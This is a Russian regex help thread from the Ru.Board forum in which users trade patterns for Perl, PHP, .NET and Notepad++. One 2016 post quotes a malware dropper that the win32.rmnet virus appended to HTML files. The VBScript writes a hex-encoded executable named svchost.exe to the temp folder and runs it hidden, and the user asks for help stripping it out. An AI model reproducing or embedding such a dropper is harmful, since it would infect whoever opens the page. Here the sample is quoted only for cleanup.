Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Регулярные выражения

Модерирует : ShIvADeSt

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97

Открыть новую тему     Написать ответ в эту тему

leftMIND

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
   Регулярные выражения
Обучающий материал
  • Книги    
  • Шпаргалки: от AZJIO (AutoIt3, PCRE) от Dave Child
  • wikipedia.org - Регулярные выражения на wiki  
  • edlinsoft.blogspot.com - Регулярные выражения в .NET Framework  
  • php.ru - Синтаксис регулярных выражений  
  • php.net - Синтаксис регулярных выражений  
  • regexpstudio.com - Регулярные выражения для Delphi  
    Официальные источники:
  • docs.notepad-plus-plus.org - Официальный источник Notepad++ (англ. яз.)  
  • pcre.org - Официальный справочник движка PCRE (англ. яз.)  

  •    Тестирование регулярных выражений
    Программы
    Онлайн сервисы
  • RegexBuddy - крутая и платная  
  • RegExp - бесплатно, AZJIO, PCRE, AutoIt3  
  • Expresso  
  • The Regex Coach  
  • RegExstar, Github (AutoHotKey, PCRE)
  • Обзор программ от ManHunter    
  • regexr.com здесь в Community множество готовых регулярных выражений  
  • pagecolumn.com - для javascript  
  • pagecolumn.com - для php  
  • cuneytyilmaz.com - для javascript  
  • php-include.ru - на флеш-плеере  
  • regex101.com  
  • easyregexp.ru  
  • debuggex.com - показывает структурно  

  •    Схожие темы
  • javascript регулярные выражения
  • PHP: Регулярные выражения (RegExp, Regular, eregi, preg)
  • Игра - Регулярно выражайтесь!
     
    первое сообщение темы...
    Обсуждение шапки данной темы ведётся в этой теме
    Рекомендации по составлению вопросов в данной теме:

  • Всего записей: 33 | Зарегистр. 07-04-2002 | Отправлено: 23:55 15-10-2002 | Исправлено: AZJIO, 15:18 12-02-2021
    crotoff

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    NightSpamer
    попробовал заменить в "notepad++" но ничего не вышло (can`t find the text), подскажи что вставлять в форму (искомый текст и замещаемый)

    Всего записей: 961 | Зарегистр. 17-04-2007 | Отправлено: 12:46 18-12-2008
    NightSpamer



    Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Искать \[url=http:\/\/(.*?)\]
    Заменить на [url=http:\/\/my_link]
    Что есть "notepad++" не знаю, возможно у него свой взгляд на регулярки. Проверял на perl-5.8.8-41.

    Всего записей: 291 | Зарегистр. 28-11-2006 | Отправлено: 14:29 19-12-2008
    crotoff

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    NightSpamer
    видимо да, там синтаксис отличный от Пёрл

    Всего записей: 961 | Зарегистр. 17-04-2007 | Отправлено: 15:55 19-12-2008
    X11



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Господа, не соизволите ли глянуть мою проблему с DIRegEx
    http://forum.ru-board.com/topic.cgi?forum=33&topic=10654#4

    Всего записей: 3253 | Зарегистр. 24-11-2005 | Отправлено: 12:15 30-09-2009
    vovansystems

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Есть задача в шаблоне версии страницы для печати в скобках около слова-якоря выводить адрес, куда ведёт ссылка, чтобы на бумаге было видно
     
    Долго и упорно вспоминал регэкспы, но никак не могу решить одну проблему - preg_replace заменяет только последнее вхождение.
     

    Код:
    $text = preg_replace('/<a[^<>]*href="([^"]*)"[^<>]*>(.*)<\/a>/U','$0 ($1)',$text);

     
    Я его уже и от жадности отучил, и какие только варианты не перепробовал..
     
    Сами ссылки разные, но в основном вида (хотя бывают ещё всякие атрибуты типа _target="blank"

    Код:
    <p class="MsoNormal"><a href="http://domain.com/news/1000">Текст якоря</a></p>

     
    Добавлено:
    Разобрался. Решается модификатором s - проблема была в том, что были разрывы строк в ссылках.

    Всего записей: 56 | Зарегистр. 24-12-2004 | Отправлено: 16:55 27-02-2012
    XPerformer



    Silver Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Подскажите пожалуйста как выкинуть из результата пробелы
    Рассмотрим кусочек рег. выражения
    (?<ViewCount>\d{0,3}\s?\d{0,3})
    Во ViewCount попадают числа от 0 до 999, и числа вида 111 999, где тысячи отделены пробелами.
    Можно как то сделать, чтобы во ViewCount оказалось число без пробелов вида 111999?

    Всего записей: 2560 | Зарегистр. 20-06-2011 | Отправлено: 01:28 02-05-2012
    gidrosoldat



    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Добрый день, помогите с регулярным выражением!
     
    Есть документ такого типа:

    Цитата:
    1. Текст первого параграфа.
    Продолжение текста первого параграфа.
    1.1. Текст первого подпараграфа.
    1.2. Текст второго подпараграфа.
    Продолжение текста второго подпараграха.
    2. Текст второго параграфа.
    ......
    N. Текст N-ого параграфа

     
    Мне разбить этот текст на отдельные параграфы - получить отдель первый обязательный номер и второй не обязательный и конечно же текст параграфа.
    Если бы параграф был в одну строку я бы делал как то так:
    (\d+)\.(?:(\d+)\.)?\s(.+)
    И получил бы три группы с интересующими меня данными. Но тут как видите может быть еще перенос строки. И тогда мой шаблон не захватывает продолжение (например продолжение первого параграфа). Помогите с составлением регулярного выражения.

    Всего записей: 34 | Зарегистр. 24-02-2011 | Отправлено: 16:06 16-02-2013 | Исправлено: gidrosoldat, 16:06 16-02-2013
    pka

    Junior Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    Мне разбить этот текст на отдельные параграфы

     
    Если не требуется разбить именно и только регулярным выражением то попробуйте так
    Код:
    #!perl
     
    use strict;
     
    my ($i,@arr,$txt);
    open(IN,"in.txt");
    $txt = '';
    while ($i = <IN>) {
        if ($i =~ /^\d+\./) { # если строка начинается на номер, то начало нового параграфа
            push(@arr,$txt); # добавляем $txt в массив
            $txt = $i; # начинаем новый параграф
            } else { # если строка не начинается с номера, то дабавляем в предыдущий параграф
                $txt .= $i;
                }
        }
    close(IN);
    push(@arr,$txt); # добавляем последний параграф в массив
     
    foreach my $i (@arr) {
        my ($nomer,$paragraf) = ($i =~ m/^((?:\d+\.)+)\s*(.*)/s);
        print "$nomer\n$paragraf\n";
        }

    Всего записей: 83 | Зарегистр. 16-03-2006 | Отправлено: 00:42 17-02-2013
    serg525

    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Подскажите, пожалуйста, какое регулярное выражение использовать, чтобы удалить все javascript из файла.
     
    Т.е. удалить все теги с содержимым:
     
    <script src="1_files/ga.js" async="" type="text/javascript" async="">Какой-то код</script>
    <script ...>.....</script>
     
     
    Разобрался, как удалить эти теги регулярным выражением, если они расположены на одной строке (любым из 4 вариантов):
     
    Найти:
         <script[^>]*>.*</script>
    или
        <script(.*?)>.*?</script>
    или
        <script.*?<\/script>
    или
        <script( [^>]+)?>(.*)</script>
     
     
    Заменить на:
       пусто
     
    Но как удалять их, если они на нескольких строках? Да еще в Windows Linux файлах?
    ----------------------------
     
    И дополнительно, есть ли возможность удалить все выражения:  
    onclick=...  
    onLoad="..."
    (только выражения с атрибутами) из кода?
     
     
     
     
    Спасибо.

    Всего записей: 6 | Зарегистр. 02-03-2006 | Отправлено: 18:26 17-02-2013
    xorvrn



    Newbie
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    serg525
    для .NET
     
     

    Всего записей: 14 | Зарегистр. 20-08-2009 | Отправлено: 01:31 18-02-2013
    pka

    Junior Member
    Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

    Цитата:
    чтобы удалить все javascript


    Код:
    $txt =~ s/<script.*?<\/script>//gs;

    Всего записей: 83 | Зарегистр. 16-03-2006 | Отправлено: 14:18 18-02-2013
    Xom9I4oK



    Full Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    В тексте есть слова такого вида (все цифры могут меняться): keys9[1] == 8
    Как найти такие слова я разобрался: keys\d*?\[\d\]\s+(=)(=)\s\d
    Но я не понял как мне заменить последнюю цифру (после ==) на 1

    Всего записей: 507 | Зарегистр. 01-04-2005 | Отправлено: 01:09 22-05-2014 | Исправлено: Xom9I4oK, 01:11 22-05-2014
    Daniyar91

    BANNED
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Заменяеш на 1, то что найдется с использованием такого шаблона
    Код:
    (?<=keys\d+\[\d+\]\s*==\s*)\d+

    но если подумать, пробелы могут быть и внутри и перед скобками, т.е. надо так
    Код:
    (?<=keys\d+\s*\[\s*\d+\s*\]\s*==\s*)\d+

    Всего записей: 425 | Зарегистр. 30-08-2011 | Отправлено: 08:55 22-05-2014
    0pupentium

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Здравствуйте.
    Помогите пожалуйста в следующем тексте найти путь после "Anno5.exe=":

    Код:
    [Settings]
    Anno5.exe=C:\Program Files (x86)\Ubisoft\ANNO 2070\Anno5.exe
    AnnoCookie.exe=C:\Program Files (x86)\Ubisoft\AnnoCookie.exe
     

    Для нахождения пути после "AnnoCookie.exe=" использую выражение "[^=]*$".
    В действительности пути могут отличаться от указанных, поэтому использую регулярные выражения.

    Всего записей: 78 | Зарегистр. 09-11-2009 | Отправлено: 15:18 06-10-2015 | Исправлено: 0pupentium, 15:19 06-10-2015
    Daniyar91

    BANNED
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    (?<=Anno5\.exe=).+
     
    и ты не правильно ищешь для AnnoCookie.exe, потому-что [^=] исключает знак =, а в пути он может быть, а * -- ноль и более повторений, но путь минимум 4 символа (но только название файла уже 14), т.е. никак не 0.
     
    читай про просмотр в перед\назад, и должно стать ясно, как делать.

    Всего записей: 425 | Зарегистр. 30-08-2011 | Отправлено: 18:56 06-10-2015 | Исправлено: Daniyar91, 19:08 06-10-2015
    0pupentium

    Junior Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Daniyar91
    Действительно, знак = я не учел.
    Спасибо за помощь и совет, теперь все работает.

    Всего записей: 78 | Зарегистр. 09-11-2009 | Отправлено: 19:12 06-10-2015
    crotoff

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    Салют! Вирус win32.rmnet дописал в конец всех htm скрипт вида

    Код:
    SCRIPT Language=VBScript><!--
    DropFileName = "svchost.exe"
    WriteData = "4D5A50000...000000"
    Set FSO = CreateObject("Scripting.FileSystemObject")
    DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
    If FSO.FileExists(DropPath)=False Then
    Set FileObj = FSO.CreateTextFile(DropPath, True)
    For i = 1 To Len(WriteData) Step 2
    FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
    Next
    FileObj.Close
    End If
    Set WSHshell = CreateObject("WScript.Shell")
    WSHshell.Run DropPath, 0
    //--></SCRIPT>

     
    Хочу попробовать удалить этот фрагмент из всех htm-файлов перебором. Помогите составить регулярное выражение, чтоб этот фрагмент удалился, а всё остальное - нет. Или может удобнее всё, что после </html> подлежит удалению

    Всего записей: 961 | Зарегистр. 17-04-2007 | Отправлено: 22:55 21-01-2016 | Исправлено: crotoff, 22:59 21-01-2016
    hErAx

    Редактировать | Цитировать | Сообщить модератору
    Для этого даже не нужны регулярки. Откройте все файлы в AkelPad. Выделите нужный фрагмент текста и выполните замену. Всё очень просто.
     
    Добавлено:
    картина

    Отправлено: 23:12 21-01-2016
    crotoff

    Advanced Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    hErAx
    каким образом их открыть в AkelPad? их же тысячи

    Всего записей: 961 | Зарегистр. 17-04-2007 | Отправлено: 23:19 21-01-2016
    regist123



    Gold Member
    Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
    crotoff 22:55 21-01-2016
    Цитата:
    Или может удобнее всё, что после </html> подлежит удалению

    Как вариант:
    Найти
    Код:
    \<\/html\>[\s\S]*

    заменить на
    Код:
    </html>


    ----------
    Раздачи и акции

    Всего записей: 7198 | Зарегистр. 20-03-2009 | Отправлено: 23:20 21-01-2016 | Исправлено: regist123, 23:25 21-01-2016
    Открыть новую тему     Написать ответ в эту тему

    Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97

    Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Регулярные выражения


    Реклама на форуме Ru.Board.

    Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
    Modified by Ru.B0ard
    © Ru.B0ard 2000-2024

    BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

    Рейтинг.ru